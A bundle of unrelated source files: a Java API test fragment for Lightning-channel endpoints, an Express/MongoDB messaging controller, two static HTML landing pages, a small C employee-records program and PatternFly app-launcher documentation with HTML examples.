CLOSED_CHANNEL.getRemotePubkey().toString(),
LOCAL_OPEN_CHANNEL_TO_NODE_3.getRemotePubkey().toString()
);
webTestClient.get().uri(PREFIX + "/all-channels/pubkeys").exchange().expectBody()
.jsonPath("$.pubkeys").value(is(sortedPubkeys));
}
@Test
void getKnownChannels() {
when(graphService.getNumberOfChannels()).thenReturn(123);
webTestClient.get().uri(PREFIX + "/known-channels").exchange().expectBody()
.jsonPath("$").value(is(123));
}
@Test
void getNodesWithHighIncomingFeeRate() {
when(graphService.getNodesWithHighFeeRate()).thenReturn(List.of(
new PubkeyAndFeeRate(PUBKEY, 123),
new PubkeyAndFeeRate(PUBKEY_2, 456)
));
webTestClient.get().uri(PREFIX + "/nodes-with-high-incoming-fee-rate").exchange().expectBody()
.jsonPath("$.entries[0].pubkey").value(is(PUBKEY.toString()))
.jsonPath("$.entries[0].feeRate").value(is(123))
.jsonPath("$.entries[1].pubkey").value(is(PUBKEY_2.toString()))
.jsonPath("$.entries[1].feeRate").value(is(456));
}
}
|
import { ApiError } from "../utils/ApiError.js";
import { asyncHandler } from "../utils/asyncHandler.js"
import { User } from "../models/user.model.js"
import { Message } from "../models/messages.model.js";
import { DirectMessage } from "../models/directMessage.model.js";
import { ApiResponse } from "../utils/ApiResponse.js";
import { Room } from "../models/room.model.js";
import mongoose from "mongoose";
import { Connection } from "../models/connections.model.js";
const directMessage = asyncHandler(async (req, res) => {
const user = req.user;
const { content, recieverId } = req.body;
const rec = recieverId;
const author = new mongoose.Types.ObjectId(user?._id);
const reciever = new mongoose.Types.ObjectId(rec);
const userConnection = await Connection.findOne({ user: author });
const recConnection = await Connection.findOne({ user: reciever });
const recIndex = userConnection.contacts.findIndex(x => x.contact.equals(reciever));
//console.log(userConnection,recIndex);
userConnection.contacts[recIndex].update = `new message at ${new Date()}`;
const userIndex = recConnection.contacts.findIndex(x => x.contact.equals(author));
recConnection.contacts[userIndex].update = `new message at ${new Date()}`;
await userConnection.save({ validateBeforeSave: false });
await recConnection.save({ validateBeforeSave: false });
const dm = await DirectMessage.create({
content,
author,
reciever
})
if (!dm)
throw new ApiError(401, "could not send message");
return res.status(201).json(new ApiResponse(200, dm, "successfully send"))
})
const roomMessage = asyncHandler(async (req, res) => {
const user = req.user;
const { roomID, content, roomName } = req.body;
const _id = roomID;
const room = await Room.findOne({
$or: [{ _id }, { roomName }]
});
if (!room) {
throw new ApiError(401, "Room not found")
}
const userObjectId = new mongoose.Types.ObjectId(user?._id);
if (!room.members.includes(userObjectId)) {
room.members.push(userObjectId);
await room.save({ validateBeforeSave: false })
}
const RoomObjectId = new mongoose.Types.ObjectId(room._id);
const message = await Message.create({
content: content,
author: userObjectId,
room: RoomObjectId
})
room.update = `new message at ${new Date()} by ${user.fullName}`;
if (!message)
throw new ApiError(401, "Unable to send the message");
await room.save({ validateBeforeSave: false });
return res.status(201).json(new ApiResponse(201, message, "Message sent successfully"));
})
const directMessList = asyncHandler(async (req, res) => {
const { rec, page = 1, limit = 10 } = req.body;
const user = req.user;
const id = rec;
const skip = (page - 1) * limit;
const messages = await DirectMessage.aggregate([
{
$match: {
$or: [
{
$and: [
{ reciever: new mongoose.Types.ObjectId(user._id) },
{ author: new mongoose.Types.ObjectId(id) }
]
},
{
$and: [
{ reciever: new mongoose.Types.ObjectId(id) },
{ author: new mongoose.Types.ObjectId(user._id) }
]
}
]
}
},
{
$lookup: {
from: "users",
localField: "author",
foreignField: "_id",
as: "authorName",
pipeline: [
{
$project: {
fullName: 1,
avatar: 1
}
}
]
}
},
{
$lookup: {
from: "users",
localField: "reciever",
foreignField: "_id",
as: "recieverName",
pipeline: [
{
$project: {
fullName: 1,
avatar: 1
}
}
]
}
},
{
$addFields: {
sender: { $first: "$authorName" },
recieverUser: { $first: "$recieverName" }
}
},
{
$sort: { createdAt: -1 } // Sort by createdAt in descending order
},
{
$skip: skip // Skip documents for pagination
},
{
$limit: limit // Limit documents for pagination
},
{
$project: {
_id: 1,
recieverUser: 1,
sender: 1,
content: 1,
createdAt: 1 // Optionally include createdAt if you need to see the timestamps
}
}
]);
// Count total messages for pagination metadata
const totalMessages = await DirectMessage.countDocuments({
$or: [
{
$and: [
{ reciever: new mongoose.Types.ObjectId(user._id) },
{ author: new mongoose.Types.ObjectId(id) }
]
},
{
$and: [
{ reciever: new mongoose.Types.ObjectId(id) },
{ author: new mongoose.Types.ObjectId(user._id) }
]
}
]
});
return res.status(201).json(new ApiResponse(201, {
messages,
totalPages: Math.ceil(totalMessages / limit),
currentPage: page,
totalMessages
}, "messages aggregated"));
});
export {
directMessage,
roomMessage,
directMessList
}
|
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<!-- displays site properly based on user's device -->
<link rel="icon" type="image/png" sizes="32x32" href="./images/favicon-32x32.png">
<link rel="stylesheet" href="fontawesome/css/all.css">
<link rel="stylesheet" href="css/normalize.css">
<link rel="stylesheet" href="css/main.css">
<title>Frontend Mentor | Clipboard landing page</title>
<!-- Feel free to remove these styles or customise in your own stylesheet 👍 -->
<style>
.attribution {
font-size: 11px;
text-align: center;
}
.attribution a {
color: hsl(228, 45%, 44%);
}
</style>
</head>
<body>
<div class="container">
<div class="header-bg"></div>
<header>
<a href="#" class="logo"><img src="images/logo.svg" alt="logo" class="logo__img"></a>
<div class="header__wrapper">
<h1 class="header__title">A history of everything you copy</h1>
<p class="header__text">
Clipboard allows you to track and organize everything you
copy. Instantly access your clipboard on all your devices.
</p>
<button class="btn">Download for iOS</button>
<button class="btn btn__accent">Download for Mac</button>
</div>
</header>
<main>
<section class="track">
<div>
<h2 class="track__title">Keep track of your snippets</h2>
<p class="track__text">
Clipboard instantly stores any item you copy in the cloud,
meaning you can access your snippets immediately on all your
devices. Our Mac and iOS apps will help you organize everything.
</p>
</div>
<div>
<img src="images/image-computer.png" alt="img" class="track__img">
</div>
<div>
<h3 class="track-small__title">Quick Search</h3>
<p class="track-small__title">
Easily search your snippets by content, category, web address, application, and more.
</p>
<h3 class="track-small__title">iCloud Sync</h3>
<p class="track-small__title">Instantly saves and syncs snippets across all your devices.</p>
<h3 class="track-small__title">Complete History</h3>
<p class="track-small__title">
Retrieve any snippets from the first moment you started using the app.
</p>
</div>
</section>
<section class="clipboard">
<h2 class="clip__title">Access Clipboard anywhere</h2>
<p class="clip__text">Whether you’re on the go, or at your computer, you can access all your Clipboard
snippets in a few simple clicks.</p>
<img src="images/image-devices.png" alt="img" class="clip__img">
</section>
<section class="supercharge">
<h2 class="super__title">Supercharge your workflow</h2>
<p class="super__text">
We’ve got the tools to boost your productivity.
</p>
<div class="super__wrapper">
<div class="super__card">
<img src="images/icon-blacklist.svg" alt="img" class="super__img">
<h4 class="super-small__title">Create blacklists</h4>
<p class="super-small__text">
Ensure sensitive information never makes its way to your clipboard by excluding certain sources.
</p>
</div>
<div class="super__card">
<img src="images/icon-text.svg" alt="img" class="super__img">
<h4 class="super-small__title">Plain text snippets</h4>
<p class="super-small__text">
Remove unwanted formatting from copied text for a consistent look.
</p>
</div>
<div class="super__card">
<img src="images/icon-preview.svg" alt="img" class="super__img">
<h4 class="super-small__title">Sneak preview</h4>
<p class="super-small__text">Quick preview of all snippets on your Clipboard for easy access.</p>
</div>
</div>
</section>
<section class="sponsor">
<img src="images/logo-google.png" alt="img" class="sponsor__img">
<img src="images/logo-ibm.png" alt="img" class="sponsor__img">
<img src="images/logo-microsoft.png" alt="img" class="sponsor__img">
<img src="images/logo-hp.png" alt="img" class="sponsor__img">
<img src="images/logo-vector-graphics.png" alt="img" class="sponsor__img">
</section>
<section class="cta">
<h2 class="cta__title">Clipboard for iOS and Mac OS</h2>
<p class="cta__text">
Available for free on the App Store. Download for Mac or iOS, sync with iCloud
and you’re ready to start adding to your clipboard.
</p>
<button class="btn">Download for iOS</button>
<button class="btn btn__accent">Download for Mac</button>
</section>
</main>
<div class="footer">
<a href="#" class="logo"><img src="images/logo.svg" alt="logo" class="logo__img"></a>
<div class="link">
<a href="#" class="footer__link">FAQs</a>
<a href="#" class="footer__link">Contact Us</a>
<a href="#" class="footer__link">Privacy Policy</a>
<a href="#" class="footer__link">Press Kit</a>
<a href="#" class="footer__link">Install Guide</a>
</div>
<div>
<ul class="footer__social">
<li><i class="fab fa-facebook-square" aria-hidden="true"></i></li>
<li><i class="fab fa-twitter" aria-hidden="true"></i></li>
<li><i class="fab fa-instagram" aria-hidden="true"></i></li>
</ul>
</div>
</div>
</div>
<footer>
<p class="attribution">
Challenge by <a href="https://www.frontendmentor.io?ref=challenge" target="_blank">Frontend Mentor</a>.
Coded by <a href="#">Rex albert</a>.
</p>
</footer>
</body>
</html>
|
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<link rel="stylesheet" href="css/style.css">
<title>Niki's Excellent Customization!</title>
</head>
<body>
<!-- Navigation bar -->
<nav class="navbar navbar-expand-lg navbar-light bg-light customNav">
<a class="navbar-brand" href="#">Rock Nation
<img src="images/acoustic-guitar.png">
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="#">Venues <span class="sr-only">(current)</span></a>
</li>
<li class="nav-item">
<a class="nav-link" href="#">Artist</a>
</li>
<li class="nav-item dropdown">
<a class="nav-link dropdown-toggle" href="#" id="navbarDropdown" role="button" data-toggle="dropdown"
aria-haspopup="true" aria-expanded="false">
Near You
</a>
<div class="dropdown-menu" aria-labelledby="navbarDropdown">
<a class="dropdown-item" href="#">Venues</a>
<a class="dropdown-item" href="#">Artists</a>
<div class="dropdown-divider"></div>
<a class="dropdown-item" href="#">Upcoming Acts</a>
</div>
</li>
<li class="nav-item dropdown">
<a class="btn btn-primary btn-lg navCTA" href="#"></a>
</li>
</ul>
</div>
</nav>
<!-- End navigation bar -->
<!-- Jumbotron -->
<div class="jumbotron rockBackground">
<div class="jumboCopy">
<h1 class="display-4">Are You Ready to ROCK!</h1>
<p class="lead">Let's Rock and Roll with Wayne and Garth! </p>
<hr class="my-4">
<p>Come and rock with us! See some of the greatest bands of our time rock your face off!</p>
<a class="btn btn-primary btn-lg" href="#" role="button">Get Tickets!</a>
</div>
</div>
<!-- End jumbotron -->
<!-- Cards -->
<div class="container-fluid Content">
<h2 class="sectionHeading"> Shows Near You</h2>
<div class="row showsNear">
<!-- Card 1 -->
<div class="cardContainer col-lg-4 col-md-4 col-sm-12">
<div class="card">
<img src="images/show3.jpg" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">Rock On</h5>
<p class="card-text">Here for a headbanging good time and ready for monkey's to fly outta your butt! We're NOT WORTHY, but join us anyway </p>
<a href="#" class="btn btn-primary">SCHWIINNGG!</a>
</div>
</div>
</div>
<!-- End card 1 -->
<!-- Card 2 -->
<div class="cardContainer col-lg-4 col-md-4 col-sm-12">
<div class="card">
<img src="images/show1.jpg" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">Show me the money</h5>
<p class="card-text">This show is going to be out of this world! No really, it will melt your face off as you blast from the atmosphere.</p>
<a href="#" class="btn btn-primary">EXCELLENT!</a>
</div>
</div>
</div>
<!-- End card 2 -->
<!-- Card 3 -->
<div class="cardContainer col-lg-4 col-md-4 col-sm-12">
<div class="card">
<img src="images/show2.jpg" class="card-img-top" alt="...">
<div class="card-body">
<h5 class="card-title">Show stopping!</h5>
<p class="card-text">For a showstopping good time, come join our party and rock on with excellence!</p>
<a href="#" class="btn btn-primary">Party on Garth!</a>
</div>
</div>
</div>
<!-- End card 3 -->
</div>
</div>
<!-- End cards -->
<!-- Content -->
<div class="container-fluid content">
<h2 class="sectionHeading">Why We're Better</h2>
<!-- Row 1 -->
<div class="row valueProp">
<div class="sideAccent">
</div>
<div class="imageContainer col-3">
<img src="images/assistance.png">
</div>
<div class="text col-8">
<h3>Always here to help!</h3>
<p>
We know how important your hard core rock interests are to you and we want you to get the most out of this experience.
</p>
<a href="#" class="btn btn-primary">Contact Us
</a>
</div>
</div>
<!-- End row 1 -->
<!-- Row 2 -->
<div class="row valueProp">
<div class="sideAccent">
</div>
<div class="imageContainer col-3">
<img src="images/refund.png">
</div>
<div class="text col-8">
<h3>Unbeatable Prices</h3>
<p>
We bet you didnt know it could be so affordable to experience such awesomeness!
</p>
<a href="#" class="btn btn-primary">Contact Us
</a>
</div>
</div>
<!-- End row 2 -->
<!-- Row 3 -->
<div class="row valueProp">
<div class="sideAccent">
</div>
<div class="imageContainer col-3">
<img src="images/mail-box.png">
</div>
<div class="text col-8">
<h3>FACE MELTING SHOWS</h3>
<p>
Dont worry, our performers will play the song of your souls and kill you softly with these sweet words!
</p>
<a href="#" class="btn btn-primary">Contact Us
</a>
</div>
</div>
</div>
<!-- End content -->
<!-- Footer -->
<footer class="emailContain">
<form>
<h3>Join our Cosmic Message</h3>
<div class="form-group">
<label for="exampleInputEmail1">Email address</label>
<input type="email" class="form-control" id="exampleInputEmail1" aria-describedby="emailHelp"
placeholder="Enter email">
</div>
<button type="submit" class="btn btn-primary">Submit</button>
</form>
</footer>
<!-- End footer -->
<!-- Optional JavaScript -->
<!-- jQuery first, then Popper.js, then Bootstrap JS -->
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"
integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo"
crossorigin="anonymous"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js"
integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1"
crossorigin="anonymous"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"
integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM"
crossorigin="anonymous"></script>
</body>
</html>
|
#include <stdio.h>
#include <stdlib.h>
typedef struct
{
char name[100];
int age;
int phonenumber;
float salary;
} Employee;
int main()
{
int i, n=20;
Employee employees[n];
//Taking each employee detail as input
printf("Enter %d Employee Details \n \n",n);
for(i=0; i<n; i++)
{
printf("Employee %d:- \n",i+1);
//Name
printf("Name:\n ");
scanf("%s",&employees[i].name);
//Age
printf("Age:\n ");
scanf("%d",&employees[i].age);
//Phone number
printf("Phonenumber:\n ");
scanf("%d",&employees[i].phonenumber);
//Salary
printf("Salary:\n ");
scanf("%f",&employees[i].salary);
printf("\n");
}
//Displaying Employee details
printf("-------------- All Employees Details ---------------\n");
for(i=0; i<n; i++)
{
printf("Name \t: ");
printf("%s \n",employees[i].name);
printf("Age \t: ");
printf("%d \n",employees[i].age);
printf("Phonenumber \t: ");
printf("%d \n",employees[i].phonenumber);
printf("Salary \t: ");
printf("%f \n",employees[i].salary);
printf("\n");
}
return 0;
}
|
---
id: Application launcher
section: components
subsection: menus
cssPrefix: pf-v5-c-app-launcher
deprecated: true
---import './application-launcher.css'
## Examples
### Collapsed
```html
<nav
class="pf-v5-c-app-launcher"
aria-label="Application launcher"
id="application-launcher-collapsed"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-collapsed-button"
aria-expanded="false"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<ul
class="pf-v5-c-app-launcher__menu"
aria-labelledby="application-launcher-collapsed-button"
role="list"
hidden
>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link</a>
</li>
<li>
<button class="pf-v5-c-app-launcher__menu-item" type="button">Action</button>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-disabled"
href="#"
aria-disabled="true"
tabindex="-1"
>Disabled link</a>
</li>
</ul>
</nav>
```
### Disabled
```html
<nav
class="pf-v5-c-app-launcher"
aria-label="Application launcher"
id="application-launcher-disabled"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-disabled-button"
aria-expanded="false"
aria-label="Application launcher"
disabled
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<ul
class="pf-v5-c-app-launcher__menu"
aria-labelledby="application-launcher-disabled-button"
role="list"
hidden
>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link</a>
</li>
<li>
<button class="pf-v5-c-app-launcher__menu-item" type="button">Action</button>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-disabled"
href="#"
aria-disabled="true"
tabindex="-1"
>Disabled link</a>
</li>
</ul>
</nav>
```
### Expanded
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="application-launcher-expanded"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-expanded-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<ul
class="pf-v5-c-app-launcher__menu"
aria-labelledby="application-launcher-expanded-button"
role="list"
>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link</a>
</li>
<li>
<button class="pf-v5-c-app-launcher__menu-item" type="button">Action</button>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-disabled"
href="#"
aria-disabled="true"
tabindex="-1"
>Disabled link</a>
</li>
</ul>
</nav>
```
### Aligned right
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="application-launcher-aligned-right"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-aligned-right-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<ul
class="pf-v5-c-app-launcher__menu pf-m-align-right"
aria-labelledby="application-launcher-aligned-right-button"
role="list"
>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link</a>
</li>
<li>
<button class="pf-v5-c-app-launcher__menu-item" type="button">Action</button>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-disabled"
href="#"
aria-disabled="true"
tabindex="-1"
>Disabled link</a>
</li>
</ul>
</nav>
```
### Aligned top
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded pf-m-top"
aria-label="Application launcher"
id="application-launcher-aligned-top"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-aligned-top-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<ul
class="pf-v5-c-app-launcher__menu"
aria-labelledby="application-launcher-aligned-top-button"
role="list"
>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link</a>
</li>
<li>
<button class="pf-v5-c-app-launcher__menu-item" type="button">Action</button>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-disabled"
href="#"
aria-disabled="true"
tabindex="-1"
>Disabled link</a>
</li>
</ul>
</nav>
```
### With sections and dividers between sections
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="application-launcher-divided-sections"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-divided-sections-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<div class="pf-v5-c-app-launcher__menu">
<section class="pf-v5-c-app-launcher__group">
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link not in group</a>
</li>
</ul>
</section>
<hr class="pf-v5-c-divider" />
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 1</h1>
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 1 link</a>
</li>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 1 link</a>
</li>
</ul>
</section>
<hr class="pf-v5-c-divider" />
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 2</h1>
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 2 link</a>
</li>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 2 link</a>
</li>
</ul>
</section>
</div>
</nav>
```
### With sections and dividers between items
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="application-launcher-divided-items"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-divided-items-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<div class="pf-v5-c-app-launcher__menu">
<section class="pf-v5-c-app-launcher__group">
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Link not in group</a>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
</ul>
</section>
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 1</h1>
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 1 link</a>
</li>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 1 link</a>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
</ul>
</section>
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 2</h1>
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 2 link</a>
</li>
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">Group 2 link</a>
</li>
</ul>
</section>
</div>
</nav>
```
### With sections, dividers, icons, and external links
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="application-launcher-sections-dividers-icons-links"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="application-launcher-sections-dividers-icons-links-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<div class="pf-v5-c-app-launcher__menu">
<section class="pf-v5-c-app-launcher__group">
<ul role="list">
<li>
<a class="pf-v5-c-app-launcher__menu-item" href="#">
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link not in group
</a>
</li>
</ul>
</section>
<li class="pf-v5-c-divider" role="separator"></li>
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 1</h1>
<ul role="list">
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-external"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Group 1 link
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
</li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-external"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Group 1 link
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
</li>
<li class="pf-v5-c-divider" role="separator"></li>
</ul>
</section>
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 2</h1>
<ul role="list">
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-external"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Group 2 link
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
</li>
<li>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-external"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Group 2 link
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
</li>
</ul>
</section>
</div>
</nav>
```
### Favorites
```html
<nav
class="pf-v5-c-app-launcher pf-m-expanded"
aria-label="Application launcher"
id="app-launcher-favorites"
>
<button
class="pf-v5-c-app-launcher__toggle"
type="button"
id="app-launcher-favorites-button"
aria-expanded="true"
aria-label="Application launcher"
>
<i class="fas fa-th" aria-hidden="true"></i>
</button>
<div class="pf-v5-c-app-launcher__menu">
<div class="pf-v5-c-app-launcher__menu-search">
<div class="pf-v5-c-text-input-group">
<div class="pf-v5-c-text-input-group__main pf-m-icon">
<span class="pf-v5-c-text-input-group__text">
<span class="pf-v5-c-text-input-group__icon">
<i class="fas fa-fw fa-search"></i>
</span>
<input
class="pf-v5-c-text-input-group__text-input"
type="text"
placeholder="Search"
value
aria-label="Search input"
/>
</span>
</div>
</div>
</div>
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Favorites</h1>
<ul role="list">
<li
class="pf-v5-c-app-launcher__menu-wrapper pf-m-external pf-m-favorite"
>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 2
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
<li
class="pf-v5-c-app-launcher__menu-wrapper pf-m-external pf-m-favorite"
>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 3
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
</ul>
</section>
<hr class="pf-v5-c-divider" />
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 1</h1>
<ul role="list">
<li class="pf-v5-c-app-launcher__menu-wrapper pf-m-external">
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 1
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
<li
class="pf-v5-c-app-launcher__menu-wrapper pf-m-external pf-m-favorite"
>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 2
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
</ul>
</section>
<hr class="pf-v5-c-divider" />
<section class="pf-v5-c-app-launcher__group">
<h1 class="pf-v5-c-app-launcher__group-title">Group 2</h1>
<ul role="list">
<li
class="pf-v5-c-app-launcher__menu-wrapper pf-m-external pf-m-favorite"
>
<a
class="pf-v5-c-app-launcher__menu-item pf-m-link"
href="#"
target="_blank"
>
<span class="pf-v5-c-app-launcher__menu-item-icon">
<img src="/assets/images/pf-logo-small.svg" alt="PatternFly logo" />
</span>
Link 3
<span
class="pf-v5-c-app-launcher__menu-item-external-icon"
>
<i class="fas fa-external-link-alt" aria-hidden="true"></i>
</span>
<span class="pf-v5-screen-reader">(opens new window)</span>
</a>
<button
class="pf-v5-c-app-launcher__menu-item pf-m-action"
type="button"
aria-label="Favorite"
>
<i class="fas fa-star" aria-hidden="true"></i>
</button>
</li>
